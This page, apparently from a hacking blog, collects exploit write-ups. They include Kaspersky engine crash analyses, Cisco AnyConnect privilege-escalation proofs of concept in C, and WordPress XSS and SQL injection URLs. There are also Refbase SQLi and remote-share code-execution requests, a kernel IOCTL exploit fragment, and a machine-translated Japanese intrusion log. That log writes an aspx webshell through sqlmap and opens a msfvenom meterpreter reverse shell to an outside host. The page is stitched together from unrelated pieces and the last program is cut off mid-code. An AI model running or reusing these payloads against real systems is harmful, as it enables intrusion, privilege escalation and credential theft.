Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863170456

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://code.google.com/p/google-security-research/issues/detail?id=518

A remotely exploitable stack buffer overflow in ThinApp container parsing. Kaspersky Antivirus (I've tested version 15 and 16) and other products using the Kaspersky Engine (such as ZoneAlarm) are affected.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38287.zip
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=528

The attached testcase was found by fuzzing packed PE files, I suspect it was packed using "Yoda's protector". This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM on all systems using Kaspersky Antivirus.

(bb8.ff0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=b5118b71 ebx=0000f8f0 ecx=0515f124 edx=b5118b71 esi=0bfe0e38 edi=0bfe005c
eip=71db9229 esp=0515f0f0 ebp=0515f0f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] ds:002b:b5118ba1=????????

What does it do with that value once it's loaded?

0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78227:
71db9229 8b4230          mov     eax,dword ptr [edx+30h] <-- dereference bad pointer
71db922c 57              push    edi
71db922d 8b38            mov     edi,dword ptr [eax] <-- dereference again
71db922f 51              push    ecx
71db9230 8b0a            mov     ecx,dword ptr [edx]
71db9232 8b5730          mov     edx,dword ptr [edi+30h] <-- dererence again
71db9235 56              push    esi
71db9236 51              push    ecx
0:029> u
kavbase_kdl!KLAV_Engine_Create+0x78235:
71db9237 50              push    eax
71db9238 ffd2            call    edx     <-- attacker gets control of execution and parameters
71db923a 83c410          add     esp,10h
71db923d 5f              pop     edi
71db923e 5e              pop     esi
71db923f 5d              pop     ebp
71db9240 c3              ret

Where does that pointer come from?

3C 03 6C 9E 8C 7D A5 C5 F9 22 6E F9 71 8B 11 B5        <--- *
B0 4D 5B 5C A8 19 09 FE 36 1A B6 92 3A 92 96 78
95 BD 55 64 76 C5 87 7C 00 C4 C7 36 6E 24 87 9F
5F 12 AB 96 75 ED 11 CC D1 B1 0C 4C B8 88 9A 5D
07 A5 C0 C7 5E 19 04 44 FC 4C 0F 69 20 2E 70 7A

Directly from the input file, so this is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38288.zip
            
source: https://www.securityfocus.com/bid/57676/info

The flashnews Theme for WordPress is prone to multiple input-validation vulnerabilities. 

An attacker may leverage these issues to cause denial-of-service conditions, disclose sensitive information, upload arbitrary files to the affected computer, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg [XSS] 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site/big_file&h=1&w=1 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1 

http://www.example.com/wp-content/themes/flashnews/thumb.php?src=http://site.badsite.com/shell.php 

http://www.example.com/wp-content/themes/flashnews/includes/test.php 

http://www.example.com/wp-content/themes/flashnews/includes/test.php?a[]=%3Cscript%3Ealert(document.cookie)%3C/script%3E [XSS]
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=460

Cisco AnyConnect Secure Mobility Client v3.1.08009 Elevation of Privilege
Platform: Windows 8.1 Update, Client version 3.1.08009 (tested on 32 bit only)
Class: Elevation of Privilege

Summary:
The fix for CVE-2015-4211 is insufficient which allows a local application to elevate to local system through the CMainThread::launchDownloader command. 

Description:

This is directly related to http://tools.cisco.com/security/center/viewAlert.x?alertId=39466. The fix for this issue seemed to be modifying the file verification process to only allow a signed file which also has in its version information the original filename of vpndownloader.exe. This, along with the name change makes it clear you only want to execute the VPN Downloader application. However the code doesn’t limit the location of the executable file, so one exploitation vector is DLL planting. The downloader loads a lot of DLLs from the executable directory first, so by copying the vpndownloader.exe file from Program Files to a temporary directory and dropping an appropriately named DLL you can get code execution as SYSTEM. One such DLL is dbghelp.dll which is loaded explicitly by the downloader using LoadLibrary, but there are many more.

Even if by luck the executable wasn’t vulnerable to DLL planting there’s many other potential issues, for example even though a lock is made on the executable file during signature verification it’s possible to use symbolic links to exploit this as a race condition and switch the executable file after verification has completed. There’s many other possibilities as well. I’d recommend that if you’re really only supposed to be executing vpndownloader you only execute it from the secure program files directory which would eliminate this issue. 

This was based on work previous done by Kostya Kortchinsky. 

Proof of Concept:

The PoC demonstrates the vulnerability and should create a copy of CMD.EXE running at SYSTEM on the current user’s desktop. I’ve provided source for the exploit.exe written in C# 4 and the dbghelp.dll in C++, as well as binaries. It should run on 32 and 64 bit platforms but I’ve only tested it on 32 bit.  

1) Copy the exploit.exe and dbghelp.dll  to a location on a local hard disk which the current user can write to.
2) Execute exploit.exe as the normal user
3) A command prompt should appear running at SYSTEM

Expected Result:
The service rejects the executable request

Observed Result:
The service executes the file from the temporary directory and allows for elevation.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38289.zip
            
source: https://www.securityfocus.com/bid/57741/info

EasyITSP is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to access arbitrary files in the context of the application. This may aid in further attacks. 

EasyITSP 2.0.7 and prior versions are vulnerable.


http://www.example.com/WEB/customer/voicemail.php?currentpage=phones&folder=../../
            

0x00はじめに

侵入プロジェクトが実施されたとき、顧客は1つのIPのみを提供しました。ルーキーとして、私は遠く離れて航海し始めました。

0x01情報収集

NMAPはポートをスキャンし、高ビットポートのスキャンに注意を払い、予期しない利益につながることがよくあります。

弱いパスワードはログインしようとします。

簡単な要約。

image.png

0x03脆弱性検出

バックグラウンドテストにログインし、両方のシステムにSQLインジェクションが存在することを発見しました。

ポート8000のクロッカスシステムにファイルをダウンロードする脆弱性も見つかりました。

image.png

ログのダウンロードであることが判明しました。クリックして、ページに絶対的なパスがあることを発見します。

image.png

わかりました!絶対パスを収集します。

image.png

現在のアイデアは次のとおりです。

SQLインジェクションと組み合わせた絶対的なパスの前提で、SQLMAPの-SQL -Shellを使用してトロイの木馬を書き込もうとします。

0x04脆弱性

この絶対的なパスを詳しく見てみましょう。それを見つめると奇跡的な効果があると聞いた。 (笑う)

image.png

どこかでWCMS4.0を見たと思います。

image.png

それは正しい。ポート12055で、バックグラウンドにログインします

バックグラウンドでSQLインジェクションを使用して、シェルを書き込むことができます。

image.png

SQLインジェクションポイントは、ほぼ検索場所にあります。

パケットをインターセプトし、post.txtとして保存します。 SQLMAPを使用して注入を開始します。

image.png

image.png

注入、DBA許可、および絶対パスがあります。シェルのワンストップの準備ができました。

0x05 webshell

トロイの木馬にaspxの書き込みを開始します。

「%@ページ言語='javascript'%eval(request.item ['pass']);% 'into outfile' c: //プログラムファイル(x86)//cms server //wcms4.0 //x.aspx 'image.png

問題ありません、訪問してください。

image.png

ニース!

包丁の接続。

image.png

0x06制御サーバー

最初にこのサーバーに関する情報を収集します

image.png

image.png

サーバーはイントラネットで実行され、ここではMSFホースを使用してシェルをバウンスして転送することを選択します。

外部ネットワークにメタプロイトを構築する方法について。推奨記事:

http://www.sqlsec.com/2018/03/cloud.html#more

MSF馬を生成します

MSFVENOM -P Windows/X64/MeterPreter/Reverse_tcp Lhost=xx.xx.xx.xx lport=2333 -f exe road.exxx.xx.xx.xxはパブリックネットワークサーバーです

2333はパブリックネットワークポートです

image.png

生成されたMSF馬を中国の包丁を通してブロイラーにアップロードします。

外部ネットワーク上のMetaSploitは、監視の構成を開始します

Exploit/Multi/ハンドルを使用します

ペイロードを設定します

Windows/x64/meterpreter/reverse_tcp

LHOST 127.0.0.1を設定します

走る

image.png

image.png

いくつかのメータープレターコマンドを単純に実行します

GetUID電流権限

システムを取得して権利を引き上げます

getgui -uを実行します

# Exploit Title: Refbase <= 0.9.6 rss.php where parameter SQL Injection
# Google Dork: "powered by refbase"
# Date: 23 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.8, 0.9, 0.9.5, 0.9.6
# Tested on: WAMP (Windows)
# CVE : CVE-2015-6009
# Solution: Vulnerability hasn't been patched yet.

**Summary **
Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database.


** Vulnerable code **
################################################################################
#Line 35 : $queryWhereClause = $_REQUEST['where'];
#Line 86 : $sanitizedWhereClause = extractWHEREclause(" WHERE " . $queryWhereClause);
#Line 100: $sqlQuery .= " FROM $tableRefs WHERE " . $sanitizedWhereClause;
#Line 123: $result = queryMySQLDatabase($query);
################################################################################

** Exploit POCs **
/rss.php?where=1+and+5=(substr(@@version,1,1))-- -If it’s true then the mysql version is > 5
/rss.php?where='nonexistent'+union+all(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,concat('version:',@@version,''),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50)-- -
/rss.php?where='nonexistent'+union+all(select+1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41)-- -


[!] Version 0.8 and 0.9 provide no validation, but versions 0.9.5 and 0.9.6 provide some filtering so you better let sqlmap handle it.
[!] The GET parameter "where" is vulnerable to SQL injection despite being filtered by a custom function called extractWHEREclause() it’s still can be bypassed to inject other queries.
The extractWHEREclause() function which is defined in include.inc.php and it removes any additional MySQL keywords.
preg_replace("/^.*? WHERE (.+?)(?= ORDER BY| LIMIT| GROUP BY| HAVING| PROCEDURE| FOR UPDATE| LOCK IN|[ ;]+(SELECT|INSERT|UPDATE|DELETE|CREATE|ALTER|DROP|FILE)\b|$).*?$/i", "\\1", $query);
But it can be bypassed.


# Contacted vendor: 23 Dec 2014
# Public disclosure: 23 Sep 2015 		

################################################################################

# Exploit Title: Refbase <= 0.9.6 install.php defaultCharacterSet parameter SQL Injection
# Google Dork: "powered by refbase"
# Public Disclosure Date: 21 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.8, 0.9, 0.9.5, 0.9.6.
# Tested on: WAMP (Windows)
# CVE : CVE-2015-6009
# Solution: Remove the install.php file after the installation

**Summary **
Refbase v 0.9.6 and earlier versions have an SQL injection vulnerability because of the insufficient validation when passing user supplied input to be passed to the database.

[!] You have to know the correct MySQL credentials.

** Vulnerable code **
################################################################################
#Line 77 :  $defaultCharacterSet = $_POST['defaultCharacterSet'];
#Line 407: $queryCreateDB = $queryCreateDB . " DEFAULT CHARACTER SET " . $defaultCharacterSet;
#Line 424: if (!($result = @ mysql_query ($queryCreateDB, $connection)))
################################################################################

** Exploit POC **

Request:
POST /install.php
formType=install&submit=Install&adminUserName=root&adminPassword=pass&pathToMYSQL=C:\mysql5.6.17\bin\mysql.exe&databaseStructureFile=./install.sql&pathToBibutils=&defaultCharacterSet=SQL QUERY HERE&submit=Install

################################################################################

# Exploit Title: Refbase <= 0.9.6 install.php pathToMYSQL parameter RCE (Windows)
# Google Dork: "powered by refbase"
# Public Disclosure Date: 21 Sep 2015
# Exploit Author: Mohab Ali
# @0xAli
# Vendor Homepage: http://www.refbase.net/index.php/Web_Reference_Database
# Software Link: http://sourceforge.net/projects/refbase/
# Reference: https://www.kb.cert.org/vuls/id/374092
# Version: 0.9.6 and earlier. 0.6.1 and prior versions are not vulnerable.
# Tested on: Windows
# CVE : CVE-2015-6008
# Solution: Remove the install.php file after the installation

**Summary **
Refbase v 0.9.6 and earlier versions have an RCE vulnerability because of the insufficient validation when passing user supplied input to be executed by the system.

[!] You have to know the correct MySQL credentials and this doesn't appear to be exploitable on Linux since (AFAIK) it can't execute scripts remote smb shares by default.


** Vulnerable code **
################################################################################
#Line 62: $pathToMYSQL = $_POST['pathToMYSQL'];
#Line 67: $databaseStructureFile = $_POST['databaseStructureFile'];
#Line 429: exec($pathToMYSQL . " -h " . $hostName . " -u " . $adminUserName . " -p" .$adminPassword . " --database=" . $databaseName . " < " . $databaseStructureFile . " 2>&1", $resultArray);
################################################################################

[*] pathToMYSQL and databaseStructureFile can't be empty, and has to be real file. And they can't contain ';' or '|'
[*] To exploit this in Windows you can provide an executable on a remote share and execute it.

** Exploit POC **

Request:
formType=install&submit=Install&adminUserName=root&adminPassword=123&pathToMYSQL=%5C%5CSERVER_IP%5CShare%5Cexec.bat&databaseStructureFile=.%2Finstall.sql&pathToBibutils=&defaultCharacterSet=latin1&submit=Install

Executed command:
\\SERVER_IP\Share\exec.bat -h localhost -u root -p123 --database=literature < ./install.sql 2>&1
            
source: https://www.securityfocus.com/bid/57757/info

ezStats2 is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability using directory-traversal strings to view files and execute local scripts in the context of the web server process. This may aid in further attacks.

http://www.example.com/ezStats2_mohw/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezServer/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg 

http://www.example.com/ezStats2_psn/stylesheets/style.php?files=../../../../../../../../../../windows/win.ini%00.jpg
            
source: https://www.securityfocus.com/bid/57759/info

ezStats for Battlefield 3 is prone to multiple cross-site scripting vulnerabilities and a local file include vulnerability. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the web server process. 

ezStats for Battlefield 3 0.91 is vulnerable; other versions may also be affected.

http://www.example.com/ezStats2/compare.php?common=[XSS] 

http://www.example.com/ezStats2/compare.php?rankings=[XSS]
            
source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>
            
source: https://www.securityfocus.com/bid/57775/info

The Wysija Newsletters Plugin for WordPress is prone to multiple SQL-injection vulnerabilities. 

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

Wysija Newsletters 2.2 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=wysija_campaigns&orderby=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) --
            
source: https://www.securityfocus.com/bid/57784/info

xNBD is prone to a vulnerability because it handles temporary files in an insecure manner. 

Local attackers may leverage this issue to perform symbolic-link attacks in the context of the affected application. Other attacks may also be possible.

$ ln -s "${HOME}"/ATTACK_TARGET /tmp/xnbd.log

  $ touch DISK
  $ truncate --size=$((100*1024**2)) DISK

  $ /usr/sbin/xnbd-server --daemonize --target DISK
  xnbd-server(12462) msg: daemonize enabled
  xnbd-server(12462) msg: cmd target mode
  xnbd-server(12462) msg: disk DISK size 104857600 B (100 MB)
  xnbd-server(12462) msg: xnbd master initialization done
  xnbd-server(12462) msg: logfile /tmp/xnbd.log

  $ ls -l ~/ATTACK_TARGET
  -rw------- 1 user123 user123 653 Feb  1 16:41 \
    /home/user123/ATTACK_TARGET
            
source: https://www.securityfocus.com/bid/57835/info

Symantec Encryption Desktop is prone to a local buffer-overflow vulnerability. 

A local attacker may exploit this issue to execute arbitrary code with escalated privileges.

#define IO_CONTROL_VULN 0x80022058
 
#define TARGET_DEVICE L"\\Device\\pgpwdef"
 
[..]
 
    usName.Buffer = TARGET_DEVICE;
    usName.Length = usName.MaximumLength = 
(USHORT)(wcslen(usName.Buffer) * sizeof(WCHAR));
 
    InitializeObjectAttributes(&ObjAttr, &usName, OBJ_CASE_INSENSITIVE , 
NULL, NULL);    
 
 
    // get handle of target devide
    ns = f_NtOpenFile(
        &hDev,
        FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE,
        &ObjAttr,
        &StatusBlock,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
 
[..]
 
    BOOL bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, 0x8,
        OutBuff, 0x8,
        &dwReturnLen, NULL
    );
 
    dwReturnLen = 0;
    bStatus = DeviceIoControl(
        hDev,
        IO_CONTROL_VULN,
        InBuff, sizeof(PVOID),
        (PUCHAR)m_HalDispatchTable, 0,
        &dwReturnLen, NULL
    );
 
[..]
 
    f_NtQueryIntervalProfile(ProfileTotalIssues, &Interval);
 
[..]
 
Your evil code processes with CPL==0
            
source: https://www.securityfocus.com/bid/57848/info

The Audio Player plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Audio player versions prior to 2.0.4.6 are vulnerable.

http://www.example.com/wp-content/plugins/audio-player/assets/player.swf?playerID=a\â?))}catch(e){alert(1)}//
            
source: https://www.securityfocus.com/bid/57873/info

The Pinboard theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Pinboard 1.0.6 is vulnerable; prior versions may also be affected.

http://www.example.com/wp-admin/themes.php?page=pinboard_options&tab= ]"><script>alert(document.cookie)</script>
            
/* Cisco AnyConnect elevation of privileges via DMG install script - proof of concept
   Yorick Koster, July 2015
   https://securify.nl/advisory/SFY20150701/cisco_anyconnect_elevation_of_privileges_via_dmg_install_script.html
   based on http://expertmiami.blogspot.com/2015/06/cisco-anyconnect-secure-mobility-client.html
*/
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <uuid/uuid.h>

#define DMG_PATH   "/private/tmp/sudoers.dmg"
#define MOUNT_POINT   "/private/etc"
#define EXEC_PATH   "/opt/cisco/anyconnect/bin/vpndownloader.app/Contents/Resources/install-dmg.sh"
#define EXEC_ARGS   DMG_PATH " -owners on -mountpoint " MOUNT_POINT
#define CMD_TO_EXEC   "sudo -s -- 'hdiutil eject -force /private/etc;rm -rf /private/tmp/[0-9]*.log;su -'"

extern unsigned char _private_tmp_sudoers_dmg[];
unsigned int _private_tmp_sudoers_dmg_len = 27052;

int main(int argc, char *argv[], char *envp[])
{
   char *path = EXEC_PATH;
   char *args = EXEC_ARGS;
   int fd;
   int sockfd;
   struct sockaddr_in servaddr;
   char *buf;
   unsigned int len;
   unsigned int offset = 0;
   uuid_t uuid;
   
   if((fd =creat(DMG_PATH, 0644)) == -1)
   {
      perror("creat");
      return 1;
   }
   
   if(write(fd, _private_tmp_sudoers_dmg, _private_tmp_sudoers_dmg_len) != _private_tmp_sudoers_dmg_len)
   {
      perror("write");
      close(fd);
      unlink(DMG_PATH);
      return 2;
   }
   
   close(fd);
   
   len = 10 + strlen(path) + strlen(args);
   if((buf = (char *)malloc(len + 26)) == NULL)
   {
      perror("malloc");
      unlink(DMG_PATH);
      return 3;
   }
   
   /* header */
   buf[0] = 0x4f;
   buf[1] = 0x43;
   buf[2] = 0x53;
   buf[3] = 0x43;
   buf[4] = 0x1a;
   buf[5] = 0x00;
   buf[6] = len & 0xFF;
   buf[7] = (len >> 8) & 0xFF;
   uuid_generate(uuid);
   memcpy(buf + 8, uuid, 16);
   offset = 24;
   buf[offset] = 0x01;
   buf[offset + 1] = 0x02;
   
   /* path */
   buf[offset + 2] = 0x00;
   buf[offset + 3] = 0x01;
   buf[offset + 4] = 0x00;
   buf[offset + 5] = (strlen(path) & 0xFF) + 1;
   offset += 6;
   memcpy(buf + offset, path, strlen(path) + 1);
   offset += strlen(path) + 1;
   
   /* args */
   buf[offset] = 0x00;
   buf[offset + 1] = 0x02;
   buf[offset + 2] = 0x00;
   buf[offset + 3] = (strlen(args) & 0xFF) + 1;
   offset += 4;
   memcpy(buf + offset, args, strlen(args) + 1);
   
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   bzero(&servaddr, sizeof(servaddr));
   servaddr.sin_family = AF_INET;
   servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
   servaddr.sin_port = htons(29754);
   
   if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) == -1)
   {
      perror("connect");
      unlink(DMG_PATH);
